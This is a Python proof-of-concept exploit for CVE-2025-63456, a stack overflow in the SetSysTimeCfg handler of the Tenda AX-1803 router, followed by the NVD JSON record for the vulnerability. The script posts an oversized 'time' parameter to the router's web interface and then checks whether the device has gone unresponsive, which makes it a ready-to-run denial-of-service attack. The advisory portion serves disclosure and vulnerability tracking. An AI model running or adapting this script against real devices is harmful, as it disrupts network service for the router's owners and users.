CVE-2025-63456

import requests # CVE-2025-63456 PoC - Tenda AX-1803 Stack Overflow in SetSysTimeCfg # Target: Tenda AX-1803 Router # Vulnerability: Stack overflow via time parameter in SetSysTimeCfg function # Impact: Denial of Service TARGET_IP = "192.168.0.1" # Default Tenda router IP TARGET_PORT = 80 def create_overflow_payload(): # Create payload with oversized time parameter to trigger stack overflow # The exact overflow length may vary based on firmware version overflow_length = 1000 payload = "A" * overflow_length return payload def exploit_cve_2025_63456(): """ Exploit function for CVE-2025-63456 Sends a crafted request with oversized time parameter to SetSysTimeCfg """ url = f"http://{TARGET_IP}:{TARGET_PORT}/goform/SetSysTimeCfg" # Construct malicious payload payload = create_overflow_payload() # Prepare POST data with overflow in time parameter data = { "time": payload, # Overflow payload "timezone": "GMT+8", "ntpServer": "time.windows.com" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload)}") response = requests.post(url, data=data, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text}") # If exploit successful, device should become unresponsive # Verify by checking if device still responds verify_url = f"http://{TARGET_IP}:{TARGET_PORT}/" try: check = requests.get(verify_url, timeout=5) print("[-] Device still responsive, exploit may have failed") except requests.exceptions.RequestException: print("[+] Device appears to be unresponsive - DoS successful!") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print("[+] This may indicate successful exploitation") if __name__ == "__main__": print("=" * 60) print("CVE-2025-63456 PoC - Tenda AX-1803 Stack Overflow") print("=" * 60) exploit_cve_2025_63456()

{"cve": {"id": "CVE-2025-63456", "sourceIdentifier": "[email protected]", "published": "2025-11-10T17:15:34.957", "lastModified": "2025-11-18T17:16:09.087", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AX-1803 v1.0.0.1 was discovered to contain a stack overflow via the time parameter in the SetSysTimeCfg function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}, {"lang": "es", "value": "Tenda AX-1803 v1.0.0.1 fue descubierto que contenía un desbordamiento de pila a través del parámetro 'time' en la función SetSysTimeCfg. Esta vulnerabilidad permite a los atacantes causar una denegación de servicio (DoS) a través de una solicitud manipulada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ax1803_firmware:1.0.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "B81C53EE-14CD-426B-ADF3-6D9B4D69DC84"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ax1803:-:*:*:*:*:*:*:*", "matchCriteriaId": "413B93A8-6188-4D89-8141-C5B73F4AA071"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/Tenda/AX-1803/3/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}